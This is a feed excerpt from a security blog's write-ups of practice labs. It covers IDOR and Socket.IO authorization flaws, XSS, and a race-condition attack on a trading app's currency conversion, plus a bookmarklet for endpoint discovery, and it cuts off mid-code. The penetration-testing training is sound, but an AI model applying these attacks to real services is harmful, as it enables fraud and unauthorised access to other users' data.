				<guid>https://johnmatrix.org/bugforge/bf-ottergram-idor/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Weekend, relax &amp;hellip; why not some Broken Access Control testing :)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;I am letting my MCP loose today, only mentioning what to look for.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Focusing the MCP is definitely an advantage, not only to use less tokens but save time and effort, as well as upgrade the skill it has so when a future problem like this shows up, testing is much quicker and painless.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Ottergram - WebSocket IDOR</title>
				<link>https://johnmatrix.org/bugforge/bf-ottergram-websocket-idor/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-ottergram-websocket-idor/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;Same Ottergram social app as the other writeups - React SPA frontend, Express backend, Instagram-clone with posts, comments, likes, and direct messages.&lt;/li&gt;&#xA;&lt;li&gt;The interesting attack surface this time is &lt;strong&gt;not&lt;/strong&gt; the REST API - it is the Socket.IO real-time layer sitting right next to it.&lt;/li&gt;&#xA;&lt;li&gt;Classic pattern: the REST endpoints are locked down, but a parallel WebSocket code path re-implements a data lookup and &lt;em&gt;forgets the ownership check&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;background---socketio-in-30-seconds&#34;&gt;Background - Socket.IO in 30 seconds&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Socket.IO is a library that wraps WebSockets with an event system. Think of it as &amp;ldquo;HTTP routes but over a persistent socket.&amp;rdquo;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;socket.emit(&amp;quot;event-name&amp;quot;, data)&lt;/code&gt; = send an event to the other side (like sending a POST request).&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;socket.on(&amp;quot;event-name&amp;quot;, callback)&lt;/code&gt; = listen for an event from the other side (like defining a GET handler).&lt;/li&gt;&#xA;&lt;li&gt;Authentication happens once, at &lt;strong&gt;connection time&lt;/strong&gt;, via the &lt;code&gt;auth&lt;/code&gt; option in the handshake - not on every message. A valid login token = a valid socket connection.&lt;/li&gt;&#xA;&lt;li&gt;The key insight for this bug: Socket.IO authenticates the &lt;em&gt;connection&lt;/em&gt; but says nothing about &lt;em&gt;authorization per event&lt;/em&gt;. Each event handler has to do its own ownership checks - and one of them didn&amp;rsquo;t.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;enumeration&#34;&gt;Enumeration&lt;/h2&gt;&#xA;&lt;h3 id=&#34;step-1---extract-the-source-map&#34;&gt;Step 1 - Extract the source map&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Ottergram is a React SPA. The browser loads a minified bundle (&lt;code&gt;main.*.js&lt;/code&gt;), and in these labs that bundle ships a &lt;strong&gt;source map&lt;/strong&gt; - a file that maps minified code back to the original readable source.&lt;/li&gt;&#xA;&lt;li&gt;To find it: open the browser DevTools -&amp;gt; Sources tab, or fetch the JS bundle and look at the last line for &lt;code&gt;//# sourceMappingURL=main.*.js.map&lt;/code&gt;. Append &lt;code&gt;.map&lt;/code&gt; to the bundle URL to download it.&lt;/li&gt;&#xA;&lt;li&gt;Chrome DevTools auto-extracts source maps (Sources tab -&amp;gt; shows the &lt;code&gt;src/&lt;/code&gt; tree). Alternatively, download the &lt;code&gt;.map&lt;/code&gt; file and use any source-map unpacker. Either way you get the original, readable client source code.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;step-2---read-the-client-source&#34;&gt;Step 2 - Read the client source&lt;/h3&gt;&#xA;&lt;p&gt;Two files told the whole story.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Ottergram - XSS</title>
				<link>https://johnmatrix.org/bugforge/bf-ottergram-xss/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-ottergram-xss/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Today&amp;rsquo;s lab was likely the hardest for me&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The XSS that was found took much longer as it was not the simple way of inserting it&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;I learned a lot today, understanding different approach and manually checking things I have not before&lt;/p&gt;</description>
			</item>
			<item>
				<title>Shady Oaks - Claude Way</title>
				<link>https://johnmatrix.org/bugforge/bf-shady-oaks-claude-way/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-shady-oaks-claude-way/</guid>
				<description>&lt;p&gt;Session replays showing the methodology for Shady Oaks Financial.&lt;/p&gt;&#xA;&lt;div class=&#34;replay-grid&#34;&gt;&#xA;  &lt;a href=&#34;https://johnmatrix.org/static/replays/shady-oaks-burp-way.html&#34; target=&#34;_blank&#34; data-router-ignore class=&#34;replay-card&#34;&gt;&#xA;    &lt;div class=&#34;replay-card-title&#34;&gt;Burp Way&lt;/div&gt;&#xA;    &lt;div class=&#34;replay-card-desc&#34;&gt;Claude Code + Burp Suite MCP session replay&lt;/div&gt;&#xA;  &lt;/a&gt;&#xA;  &lt;a href=&#34;https://johnmatrix.org/static/replays/shady-oaks-caido.html&#34; target=&#34;_blank&#34; data-router-ignore class=&#34;replay-card&#34;&gt;&#xA;    &lt;div class=&#34;replay-card-title&#34;&gt;Caido Way&lt;/div&gt;&#xA;    &lt;div class=&#34;replay-card-desc&#34;&gt;Claude Code + Caido MCP session replay&lt;/div&gt;&#xA;  &lt;/a&gt;&#xA;&lt;/div&gt;</description>
			</item>
			<item>
				<title>Shady Oaks Financial</title>
				<link>https://johnmatrix.org/bugforge/bf-shady-oaks-financial/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-shady-oaks-financial/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;Welcome to today&amp;rsquo;s lab&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;picture&gt;&#xA;      &lt;source type=&#34;image/webp&#34; srcset=&#34;https://johnmatrix.org/bugforge/bf-shady-oaks-financial/shady-01_hu_563f40f9486fff85.webp 1x, https://johnmatrix.org/bugforge/bf-shady-oaks-financial/shady-01_hu_ee59dc0ef80a0d2a.webp 2x&#34;&gt;&#xA;      &lt;img src=&#34;https://johnmatrix.org/bugforge/bf-shady-oaks-financial/shady-01_hu_574d9a4af6a24df3.png&#34; alt=&#34;Daily&#34; width=&#34;1000&#34; height=&#34;745&#34; loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;    &lt;/picture&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;As usual, we can register a user&lt;/li&gt;&#xA;&lt;li&gt;We are presented with a trading application, so might as well use it and see how it works&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;picture&gt;&#xA;      &lt;source type=&#34;image/webp&#34; srcset=&#34;https://johnmatrix.org/bugforge/bf-shady-oaks-financial/shady-02_hu_293b57ca4f5b1972.webp 1x, https://johnmatrix.org/bugforge/bf-shady-oaks-financial/shady-02_hu_c104c441ae2f9b64.webp 2x&#34;&gt;&#xA;      &lt;img src=&#34;https://johnmatrix.org/bugforge/bf-shady-oaks-financial/shady-02_hu_ec555332872d8c79.png&#34; alt=&#34;Daily&#34; width=&#34;1000&#34; height=&#34;575&#34; loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;    &lt;/picture&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Shady Oaks Financial - 2</title>
				<link>https://johnmatrix.org/bugforge/bf-shady-oaks-financial-2/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-shady-oaks-financial-2/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;Full send with &lt;code&gt;Caido MCP&lt;/code&gt; today to test it on a different application.&lt;/li&gt;&#xA;&lt;li&gt;We are met with familiar page, steps away from the riches!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;enumeration&#34;&gt;Enumeration&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Browsing as usual to get all the history and application&amp;rsquo;s behaviour&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;picture&gt;&#xA;      &lt;source type=&#34;image/webp&#34; srcset=&#34;https://johnmatrix.org/bugforge/bf-shady-oaks-financial-2/oaks1_hu_6610cfc0a59d8349.webp 1x, https://johnmatrix.org/bugforge/bf-shady-oaks-financial-2/oaks1_hu_f74cb9103520b16e.webp 2x&#34;&gt;&#xA;      &lt;img src=&#34;https://johnmatrix.org/bugforge/bf-shady-oaks-financial-2/oaks1_hu_31d4dea266403d0b.png&#34; alt=&#34;&#34; width=&#34;1000&#34; height=&#34;914&#34; loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;    &lt;/picture&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Shady Oaks Financial - 3</title>
				<link>https://johnmatrix.org/bugforge/bf-shady-oaks-financial-3/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-shady-oaks-financial-3/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;Third round with Shady Oaks Financial - this time no hints, just vibes&lt;/li&gt;&#xA;&lt;li&gt;The application is a financial trading platform with currency exchange and stock trading&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;enumeration&#34;&gt;Enumeration&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Registered a user, got a JWT with &lt;code&gt;role: &amp;quot;user&amp;quot;&lt;/code&gt; and 1000 EUR starting balance&lt;/li&gt;&#xA;&lt;li&gt;Extracted all API endpoints from the JS bundle source map:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/api/register          /api/login&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/api/profile           /api/verify-token&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/api/currencies        /api/exchange-rates&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/api/convert-currency  /api/stocks&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/api/trade             /api/portfolio&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/api/transactions      /api/admin/users&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/api/admin/stats       /api/admin/transactions&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/api/admin/stocks/:id&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;testing-the-surface&#34;&gt;Testing the Surface&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Admin endpoints return &lt;code&gt;403 Admin access required&lt;/code&gt; with user JWT, &lt;code&gt;401&lt;/code&gt; without - properly locked&lt;/li&gt;&#xA;&lt;li&gt;Mass assignment on register (&lt;code&gt;&amp;quot;role&amp;quot;:&amp;quot;admin&amp;quot;&lt;/code&gt;) - server strips it, returns &lt;code&gt;&amp;quot;role&amp;quot;:&amp;quot;user&amp;quot;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Currency conversion and stock trading both work as expected with correct params&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;parameter-discovery&#34;&gt;Parameter Discovery&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Extracted from JS bundle:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /api/convert-currency&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&amp;#34;from_currency&amp;#34;:&amp;#34;EUR&amp;#34;,&amp;#34;to_currency&amp;#34;:&amp;#34;USD&amp;#34;,&amp;#34;amount&amp;#34;:10}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /api/trade&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&amp;#34;stock_id&amp;#34;:3,&amp;#34;shares&amp;#34;:10,&amp;#34;action&amp;#34;:&amp;#34;buy&amp;#34;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;&#xA;&lt;li&gt;Legit conversion: 10 EUR -&amp;gt; 11.22 USD at rate 1.121675&lt;/li&gt;&#xA;&lt;li&gt;Legit trade: 10 shares of PONZI at 9.03 each = 90.30 EUR&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;exploitation&#34;&gt;Exploitation&lt;/h2&gt;&#xA;&lt;h3 id=&#34;race-condition-on-currency-conversion&#34;&gt;Race Condition on Currency Conversion&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;code&gt;/api/convert-currency&lt;/code&gt; endpoint checks balance then deducts - classic TOCTOU&lt;/li&gt;&#xA;&lt;li&gt;If multiple requests hit simultaneously, they all read the same 1000 EUR balance before any deduction happens&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;burp-suite---single-packet-attack&#34;&gt;Burp Suite - Single-Packet Attack&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Created 5 identical Repeater tabs with the same &lt;code&gt;POST /api/convert-currency&lt;/code&gt; request (900 EUR each)&lt;/li&gt;&#xA;&lt;li&gt;Selected all tabs into a &lt;strong&gt;Tab Group&lt;/strong&gt;, then used the send dropdown to select &lt;strong&gt;&amp;ldquo;Send group in parallel&amp;rdquo;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Burp&amp;rsquo;s single-packet attack stuffs all requests into one TCP segment, hitting the server before any balance deduction completes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;picture&gt;&#xA;      &lt;source type=&#34;image/webp&#34; srcset=&#34;https://johnmatrix.org/bugforge/bf-shady-oaks-financial-3/shady3-01_hu_d1f183a95b4c66dc.webp 1x, https://johnmatrix.org/bugforge/bf-shady-oaks-financial-3/shady3-01_hu_d7816b2751efc47.webp 2x&#34;&gt;&#xA;      &lt;img src=&#34;https://johnmatrix.org/bugforge/bf-shady-oaks-financial-3/shady3-01_hu_c9cd3cf831e1565f.png&#34; alt=&#34;Burp Repeater setup - 5 tabs grouped, &amp;ldquo;Send group in parallel&amp;rdquo; selected&#34; width=&#34;1000&#34; height=&#34;355&#34; loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;    &lt;/picture&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Sokudo</title>
				<link>https://johnmatrix.org/bugforge/bf-sokudo/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-sokudo/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;Today&amp;rsquo;s challenge is a very interesting one and new to me&lt;/li&gt;&#xA;&lt;li&gt;Recently, I came across a very helpful addition in testing APIs&lt;/li&gt;&#xA;&lt;li&gt;Definitely worth getting it! - &lt;a href=&#34;https://gist.github.com/jhaddix/daba27d11fdd97d9077d610dccbe91df&#34;&gt;https://gist.github.com/jhaddix/daba27d11fdd97d9077d610dccbe91df&lt;/a&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It is invaluable in testing and uncovers many hidden paths&lt;/li&gt;&#xA;&lt;li&gt;Super easy to save too:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Copy the script and save a new tab&lt;/li&gt;&#xA;&lt;li&gt;Instead of URL you paste in the script, name it, and you are good to go&lt;/li&gt;&#xA;&lt;li&gt;When testing, just click on it and it will take few seconds and spit out a nice page for you&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;javascript&lt;span style=&#34;color:#ff79c6&#34;&gt;:&lt;/span&gt;(&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;function&lt;/span&gt;(){&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;var&lt;/span&gt; scripts&lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;document&lt;/span&gt;.getElementsByTagName(&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;script&amp;#34;&lt;/span&gt;),regex&lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;/(?&amp;lt;=(\&amp;#34;|\%27|\`))\/[a-zA-Z0-9_?&amp;amp;=\/\-\#\.]*(?=(\&amp;#34;|\&amp;#39;|\%60))/g&lt;/span&gt;,jsRegex&lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;/(?&amp;lt;=(\&amp;#34;|\&amp;#39;|\%60))(?:\/|https?:\/\/)[a-zA-Z0-9_?&amp;amp;=\/\-\#\.]+\.js(?:\?[^&amp;#34;&amp;#39;%60]*)?(?=(\&amp;#34;|\&amp;#39;|\%60))/g&lt;/span&gt;;&lt;span style=&#34;color:#ff79c6&#34;&gt;const&lt;/span&gt; results&lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff79c6&#34;&gt;new&lt;/span&gt; Set;&lt;span style=&#34;color:#ff79c6&#34;&gt;const&lt;/span&gt; paramMap&lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff79c6&#34;&gt;new&lt;/span&gt; Map();&lt;span style=&#34;color:#ff79c6&#34;&gt;const&lt;/span&gt; jsFiles&lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff79c6&#34;&gt;new&lt;/span&gt; Set();&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;function&lt;/span&gt; processContent(t,src){&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;var&lt;/span&gt; e&lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt;t.matchAll(regex);&lt;span style=&#34;color:#ff79c6&#34;&gt;for&lt;/span&gt;(&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;let&lt;/span&gt; r &lt;span style=&#34;color:#ff79c6&#34;&gt;of&lt;/span&gt; e){results.add(r[&lt;span style=&#34;color:#bd93f9&#34;&gt;0&lt;/span&gt;]);&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;var&lt;/span&gt; params&lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt;r[&lt;span style=&#34;color:#bd93f9&#34;&gt;0&lt;/span&gt;].split(&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#39;?&amp;#39;&lt;/span&gt;)[&lt;span style=&#34;color:#bd93f9&#34;&gt;1&lt;/span&gt;];&lt;span style=&#34;color:#ff79c6&#34;&gt;if&lt;/span&gt;(params){params.split(&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#39;&amp;amp;&amp;#39;&lt;/span&gt;).forEach(param=&amp;gt;{&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;var&lt;/span&gt; [key,]&lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt;param.split(&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#39;=&amp;#39;&lt;/span&gt;);&lt;span style=&#34;color:#ff79c6&#34;&gt;if&lt;/span&gt;(key){&lt;span style=&#34;color:#ff79c6&#34;&gt;if&lt;/span&gt;(&lt;span style=&#34;color:#ff79c6&#34;&gt;!&lt;/span&gt;paramMap.has(key)){paramMap.set(key,[]);}paramMap.get(key).push(src&lt;span style=&#34;color:#ff79c6&#34;&gt;||&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#39;Inline script or HTML&amp;#39;&lt;/span&gt;);}});}}&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;var&lt;/span&gt; j&lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt;t.matchAll(jsRegex);&lt;span style=&#34;color:#ff79c6&#34;&gt;for&lt;/span&gt;(&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;let&lt;/span&gt; r &lt;span style=&#34;color:#ff79c6&#34;&gt;of&lt;/span&gt; j){jsFiles.add(r[&lt;span style=&#34;color:#bd93f9&#34;&gt;0&lt;/span&gt;]);}}&lt;span style=&#34;color:#ff79c6&#34;&gt;for&lt;/span&gt;(&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;var&lt;/span&gt; i&lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#bd93f9&#34;&gt;0&lt;/span&gt;;i&lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;lt;&lt;/span&gt;scripts.length;i&lt;span style=&#34;color:#ff79c6&#34;&gt;++&lt;/span&gt;){&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;var&lt;/span&gt; t&lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt;scripts[i].src;&lt;span style=&#34;color:#ff79c6&#34;&gt;if&lt;/span&gt;(t){jsFiles.add(t);fetch(t).then(&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;function&lt;/span&gt;(t){&lt;span style=&#34;color:#ff79c6&#34;&gt;return&lt;/span&gt; t.text()}).then(text=&amp;gt;processContent(text,t)).&lt;span style=&#34;color:#ff79c6&#34;&gt;catch&lt;/span&gt;(&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;function&lt;/span&gt;(t){console.log(&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;An error occurred: &amp;#34;&lt;/span&gt;,t)});}&lt;span style=&#34;color:#ff79c6&#34;&gt;else&lt;/span&gt;{processContent(scripts[i].textContent);}}&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;var&lt;/span&gt; pageContent&lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;document&lt;/span&gt;.documentElement.outerHTML;processContent(pageContent,&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#39;Page content&amp;#39;&lt;/span&gt;);&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;function&lt;/span&gt; writeResults(){&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;var&lt;/span&gt; div&lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;document&lt;/span&gt;.createElement(&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;div&amp;#34;&lt;/span&gt;);div.style.cssText&lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;position:fixed;top:0;left:0;width:100%;height:100%;background:#f0f8ff;color:#333;overflow:auto;z-index:9999;padding:20px;font-family:Arial,sans-serif;&amp;#34;&lt;/span&gt;;&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;var&lt;/span&gt; content&lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&amp;lt;h2 style=&amp;#39;color:#4a69bd;&amp;#39;&amp;gt;Endpoints Found: &amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff79c6&#34;&gt;+&lt;/span&gt; results.size &lt;span style=&#34;color:#ff79c6&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&amp;lt;/h2&amp;gt;&amp;#34;&lt;/span&gt;;content&lt;span style=&#34;color:#ff79c6&#34;&gt;+=&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&amp;lt;div style=&amp;#39;display:grid;grid-template-columns:1fr 1fr;gap:10px;&amp;#39;&amp;gt;&amp;#34;&lt;/span&gt;;content&lt;span style=&#34;color:#ff79c6&#34;&gt;+=&lt;/span&gt;&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;Array&lt;/span&gt;.from(results).map(endpoint=&amp;gt;{&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;var&lt;/span&gt; fullUrl&lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt;endpoint.startsWith(&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;http&amp;#34;&lt;/span&gt;)&lt;span style=&#34;color:#ff79c6&#34;&gt;?&lt;/span&gt;endpoint&lt;span style=&#34;color:#ff79c6&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;window&lt;/span&gt;.location.origin&lt;span style=&#34;color:#ff79c6&#34;&gt;+&lt;/span&gt;endpoint;&lt;span style=&#34;color:#ff79c6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&amp;lt;div style=&amp;#39;background:#fff;margin-bottom:10px;padding:10px;border-left:5px solid #4a69bd;&amp;#39;&amp;gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff79c6&#34;&gt;+&lt;/span&gt; endpoint &lt;span style=&#34;color:#ff79c6&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&amp;lt;/div&amp;gt;&amp;lt;div style=&amp;#39;background:#fff;margin-bottom:10px;padding:10px;border-left:5px solid #4a69bd;&amp;#39;&amp;gt;&amp;lt;a href=&amp;#39;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff79c6&#34;&gt;+&lt;/span&gt; fullUrl &lt;span style=&#34;color:#ff79c6&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&amp;#39; target=&amp;#39;_blank&amp;#39; style=&amp;#39;color:#4a69bd;text-decoration:none;word-break:break-all;&amp;#39;&amp;gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff79c6&#34;&gt;+&lt;/span&gt; fullUrl &lt;span style=&#34;color:#ff79c6&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&amp;#34;&lt;/span&gt;}).join(&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;);content&lt;span style=&#34;color:#ff79c6&#34;&gt;+=&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&amp;lt;/div&amp;gt;&amp;#34;&lt;/span&gt;;content&lt;span style=&#34;color:#ff79c6&#34;&gt;+=&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&amp;lt;h2 style=&amp;#39;color:#4a69bd;margin-top:20px;&amp;#39;&amp;gt;Parameters Found:&amp;lt;/h2&amp;gt;&amp;#34;&lt;/span&gt;;content&lt;span style=&#34;color:#ff79c6&#34;&gt;+=&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&amp;lt;div 